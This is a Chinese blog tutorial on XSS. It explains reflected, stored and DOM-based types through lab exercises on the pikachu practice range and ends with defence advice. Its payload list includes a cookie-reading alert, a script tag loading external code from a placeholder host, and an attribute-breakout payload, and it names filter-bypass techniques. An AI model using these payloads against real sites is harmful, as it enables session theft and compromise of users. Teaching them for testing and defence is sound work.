XSS跨站脚本漏洞

目录

XSS是什么

XSS攻击位置

XSS攻击载荷

XSS分类

反射型XSS

攻击过程

攻击案例

存储型XSS

攻击过程

攻击案例

DOM型XSS

攻击过程

攻击案例

XSS过滤绕过

XSS防范


XSS是什么

中文名:跨站脚本攻击

英文全称:Cross Site Scripting

为了不与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

恶意攻击者往web页面里插入恶意js代码,用户在浏览时,嵌在页面中的代码会被执行,达到攻击用户的目的

XSS攻击位置

用户输入作为script标签内容,作为HTML注释内容,作为HTML标签的属性名,作为HTML标签的属性值,作为HTML标签的名字,直接插入到CSS里

在网站评论区、留言区、个人信息、订单信息、站内信、网页即时通讯、私信、意见反馈等地有可能存在,搜索框、当前目录、图片属性等地也有存在的风险

XSS攻击载荷

<script>alert("vegetable")</script>          #弹出vegetable
<script>alert(/vegetable/)</script>          #弹出vegetable
<script>alert(1)</script>                    #弹出1,数字可以不加引号和斜杠
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

<img src=1 οnerrοr=alert("vegetable")>       #打开src为1的图片,如果失败弹出vegetable

<svg onload="alert(1)">

onclick=alert(/vegetable/)                   #鼠标点击弹出vegetable
onmouseover=alert(/vegetable/)               #鼠标移动弹出vegetable

javascript:alert(/vegetable/)                #弹出vegetable

XSS分类

反射型、存储型以及DOM型

反射型XSS

反射型XSS又被称为非持久型XSS,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

反射型XSS一般用来盗取用户Cookie信息

攻击过程

1 黑客将带有恶意脚本的链接发送给用户

2 用户点击链接向服务器发送了请求

3 服务器将请求信息返回给用户,其中就包含了XSS代码

4 用户浏览器解析了其中的XSS代码

攻击案例

攻击实验使用环境为靶场pikachu

我填入了kobe

然后查看源代码(Ctrl+U),使用Ctrl+F搜索刚才输入的内容

这是正常的流程,但是如果输入的不是科比,而是其他的东西,比如<script>alert(/xss/)</script>

但是发现搜索框不允许输入过多字符,尝试使用BurpSuite工具

点击forward之后,弹出一个框,这就是反射型XSS的检测过程

存储型XSS

存储型XSS又被称为持久型XSS,代码存储在服务器中,如个人信息或留言板等地,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,盗窃cookie等

攻击过程

1 有一站点存在存储型XSS漏洞,允许用户发布及查看信息

2 黑客在该网站留言,留言内容包含有恶意代码,点击提交后,服务器将留言保存

3 用户在浏览信息时点击相关链接

4 用户浏览器解析了其中的XSS代码

攻击案例

仍然使用pikachu靶场

可以看到一个留言板,在其中输入js代码

点击submit后页面立马弹窗,弹出vegetable

在此刷新页面,同样造成页面弹窗,也可以去数据库中查看,证明代码被存储在数据库中

DOM型XSS

通过JavaScript,可以重构整个HTML文档,可以进行添加,移除等操作,对页面的某个东西进行操作时,js就需要获得对HTML文档中所有元素进行访问的入口。这个入口就是DOM,所以在DOM型的xss漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口。

整个操作都是在前端完成,后端并没有参与

攻击过程

1 页面前端有输入点,比如input标签

2 拼接字符串将代码注入

3 利用该漏洞

攻击案例

没错,还是使用pikachu靶场

先随便输一个什么东西,看看会发生什么,然后查看源代码

<script>
    function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
</script>

定位源码,可以大概了解我们输入的text文本被转化成str字符串,然后拼接到了a标签中

所以尝试将a标签闭合

'><img src="#" οnerrοr="alert(/vegetable/)">

输入此代码,提交后弹窗

XSS过滤绕过

常见的绕过XSS过滤的方式有

大小写绕过

双写绕过

使用其他语句绕过

编码绕过等等

XSS防范

简单来讲就一句话,过滤输入,编码输出

即对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行

过滤可以选择黑名单和白名单结合使用的方式

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值